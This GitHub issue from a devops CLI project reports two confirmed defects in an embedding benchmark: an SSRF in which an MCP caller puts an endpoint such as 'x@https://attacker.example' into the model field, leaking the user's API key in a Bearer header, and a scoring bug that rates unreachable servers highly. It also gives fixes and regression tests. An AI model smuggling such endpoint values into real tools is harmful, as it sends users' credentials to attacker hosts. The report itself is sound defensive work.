Repository navigation
Closed
Labels
priority/p2-mediumPriority P2: standard workscope/aiAI review pipeline, personas, prompts, LLM client, or RAGtype/bugType bug: the code does not do what it must
Milestone
Description
Problem
The devsecops review session 20261001-224227 (2026-10-02, a path review of the whole repository with local models) raised 563 findings. A triage of every finding against release/v0.2.25 (c279c18) judged 489 false. Each of the 2 defects below was confirmed with code evidence and then upheld by a second agent that tried to refute it. The severities are re-rated; the review's own ratings were inflated.
Potential SSRF in LLMClient Configuration (src/devops_cli/ai/benchmark/embedding_runner.py:142, MEDIUM, security)
- Defect: At its cited location (BenchmarkRunner._client_for_model, runner.py:164) the code is CLI-only and its endpoint is trusted. The identical
model@endpointoverride in the sibling runners, however, is reachable from untrusted MCP calls, and it attaches the user's AI API key to an attacker-chosen host. MCPbenchmark_embeddings(provider, model, samples)(mcp/server.py:2031) only rejects a leading hyphen and runsdevops ai benchmark --type embedding --provider <p> --models <model>.run()splitsx@https://attacker.exampleinto a model and a server (embedding_runner.py:418-420)._engine_for_modelthen setsresolved_provider = self.provider(MCP-chosen, e.g. openai), callsvalidate_url(endpoint, allow_private=config)(a public host passes), setsapi_base_url = clean_endpoint, and buildsEmbeddingsEngine(cfg, api_key=get_ai_api_key(self.settings)). If no key is passed, the … - Skeptic's ruling: Reproduced offline. DNS and HTTP were stubbed and the key was set through DEVOPS_CLI_AI_API_KEY.
EmbeddingBenchmarkRunner(models=['x@https://attacker.example'], provider='openai')._engine_for_model('x', 'https://attacker.example')built an engine with provider=openai, api_base_url=https://attacker.example and the configured key, andembed_textsPOSTed tohttps://attacker.example/v1/embeddingswithAuthorization: Bearer sk-SECRET-TEST. MCPbenchmark_embeddings(provider, model)only … - Fix: (1) In MCP
benchmark_embeddingsandbenchmark_suite, reject model strings containing '@' or '://' so the endpoint override stays CLI-only, and allow-listprovideragainst the known provider ids. (2) Add a shared helper,_key_for_endpoint(settings, endpoint), used by embedding_runner._engine_for_model, suite._client_for_model and runner._client_for_model. It returns the configured key only when the endpoint equals the configured api_base_url, gateway_url or the provider's default host, and otherwise returns an explicit empty string. EmbeddingsEngine must treat '' as 'no key' and not fall back to OPENAI_API_KEY or the keyring, because today onlyNonetriggers that fallback. - Regression test: tests/test_mcp_benchmark_tools.py::test_benchmark_tools_reject_endpoint_override: calling
benchmark_embeddings(provider='openai', model='x@https://example.invalid')andbenchmark_suite(models='m@https://example.invalid', dry_run=False)must raise ValidationError without dispatching (assert the dispatcher mock was not called). Add tests/test_embedding_benchmark.py::test_override_endpoint_gets_no_key: with DEVOPS_CLI_AI_API_KEY set and_resolve_host_ipsstubbed to a public IP, …
Potential Unhandled Exception in Query Embedding (src/devops_cli/ai/benchmark/embedding_runner.py:240, MEDIUM, correctness)
- Defect:
evaluate_model_on_serverswallows every embedding failure: the query-latency loop at 245-251 (except Exception: logger.warning), the corpus embed at 262-268 and the query embeds at 279-284. It still returns a normal result and prints✓ ... → N%. When every call fails,query_latenciesis empty, sop50_lat = 0.0(line 254) andperf_score = min(100, 0 + max(0, 100 - 0/10)) = 100(line 371), givingoverall = 35%.run()then names that model 'Lowest Latency' (min(results, key=latency_ms_p50), line 490) and 'Memory Efficiency' (min(..., dimension)with dimension 0, line 504). It is worse in the common case:EmbeddingsEngine.embed_textsusually does not raise when a node is unreachable. It returns hash-based vectors flaggedis_fallback=True(embeddings.py:709 for Ollama, 806 for OpenAI), and the runner never checks that flag. An offline server is therefore scored with … - Skeptic's ruling: Reproduced offline.
EmbeddingBenchmarkRunner.evaluate_model_on_serveragainsthttp://127.0.0.1:9(connection refused) printed✓ nomic-embed-text ... dim=768 | R@1=25% | MRR=0.56 | p50=9.6ms | 66.9 items/s → 64.4%and returned a normal result with is_normalized=True.EmbeddingsEngine._embed_batch_with_subdivisionand_embed_openaiswallow connection errors and non-200s, including a model that was never pulled (Ollama 404), and return_deterministic_fallbackhash vectors flagged … - Fix: Add
failed: boolanderror: str | Noneto EmbeddingBenchmarkResult, and make the latency fields Optional. In evaluate_model_on_server, treat both an exception and any fallback vector as failure:embed_textsrebuilds a plain list, so checkany(getattr(v, 'is_fallback', False) for v in vecs)per vector, not the list. Compute latency only from successful calls (None when there are none), print ✗ with the reason, and exclude failed results from sorting, server summaries and recommendations. In suite.py, mark an errored case aserrored/skipped and leave it out of the TP/FP/TN/FN tallies instead of parsing the error string as a verdict. - Regression test: tests/test_embedding_benchmark.py::test_unreachable_server_is_reported_failed: monkeypatch
EmbeddingBenchmarkRunner._engine_for_modelto return a fake engine whose embed_texts returns[EmbeddingVector([..], is_fallback=True) ...]. Assert result.failed is True and that run()'s recommendations do not name that model. Add a second case where embed_texts raises and assert latency_ms_p50 is None rather than 0.0. In tests/test_benchmark_suite.py, a client.chat that raises must produce an …
Acceptance criteria
- Each defect above is fixed as its Fix line describes, or the PR says why another fix is better.
- Each has its Regression test: offline, failing on the base revision and passing after the fix.
- Removed code goes without shims (pre-1.0), and docs that described it are corrected.
uv run devops cipasses.
Key questions
- One PR for all of these? Yes (proposed). They share a module area and none needs a design decision; each fix is small.
Metadata
Metadata
Assignees
Labels
priority/p2-mediumPriority P2: standard workscope/aiAI review pipeline, personas, prompts, LLM client, or RAGtype/bugType bug: the code does not do what it must
Type
Projects
- StatusShow more project fieldsDone
Activity
fix(ai): the embedding benchmark takes no endpoint from an MCP client…
fix(ai): the embedding benchmark takes no endpoint from an MCP client…
dan-petty commentedon Oct 3, 2026
Closed by #1072, merged into
release/v0.2.25.GitHub only acts on closing keywords when a pull request merges into the default branch, so this was closed by
devops gh issues close-merged.feat(release): v0.2.25 (#1089)